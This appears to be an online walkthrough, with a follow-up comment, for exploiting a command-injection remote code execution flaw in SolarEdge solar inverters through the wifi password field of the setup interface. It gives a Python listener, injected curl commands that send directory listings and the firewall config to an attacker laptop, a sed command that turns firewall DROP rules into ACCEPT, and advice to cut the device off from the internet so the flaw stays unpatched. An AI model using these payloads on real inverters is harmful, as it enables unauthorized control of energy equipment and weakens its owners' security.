def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()Entering a wifi password with the following value will give us the files and folders on / as output in our webserver.
`ls -l / > /tmp/temp-output | curl -X POST --data-binary @/tmp/temp-output http://172.16.0.10:8080`
Opening port 80 and 8080
First, we want to connect a laptop to the solaredge's wifi network, this laptop will need to run the python3 webserver.
When we are connected, we want to use the SolarEdge RCE to change the firewall to open port 80 and port 8080.
We can check the current firewall rules using the following wifi password:
`curl -X POST --data-binary @/data/configs/iptables.conf http://172.16.0.10:8080`
They should look like this:
*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j DROP
-A INPUT -p tcp -m tcp --dport 8080 -j DROP
COMMIT
We can open port 80 and port 8080 using the following wifi password:
`sed 's/DROP/ACCEPT/' /data/configs/iptables.conf -i`
They should now look like this:
*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
COMMIT
When you restart the solar edge, you should find port 80 and 8080 working again.
Block the solar edge from the internet
If you don't do this, the RCE will get patched and port 80 and 8080 will be closed next firmware update.
This doesn't work for me on version 4.8.28.
I get no requests on the http server. I am very sure that the firewall is open. I have also tried to redirect the shell responses to a server on the subnet on the LAN interface of the inverter. Also no success. I've also tried a number of methods of getting a reverse shell without success. I also tried the command for changing the iptables for accepting traffic on the 80/8080 ports. But this traffic is still dropped.
This leads me to conclude that the commands are not being executed.
I connected to the inverter (SE1500M) via the wifi ap interface, and then opened the setapp web interface at http://172.16.0.1/, went to Communication, selected wifi, and then entered the commands as password for a random network. @ironsm4sh: Is that the right way to enter the commands?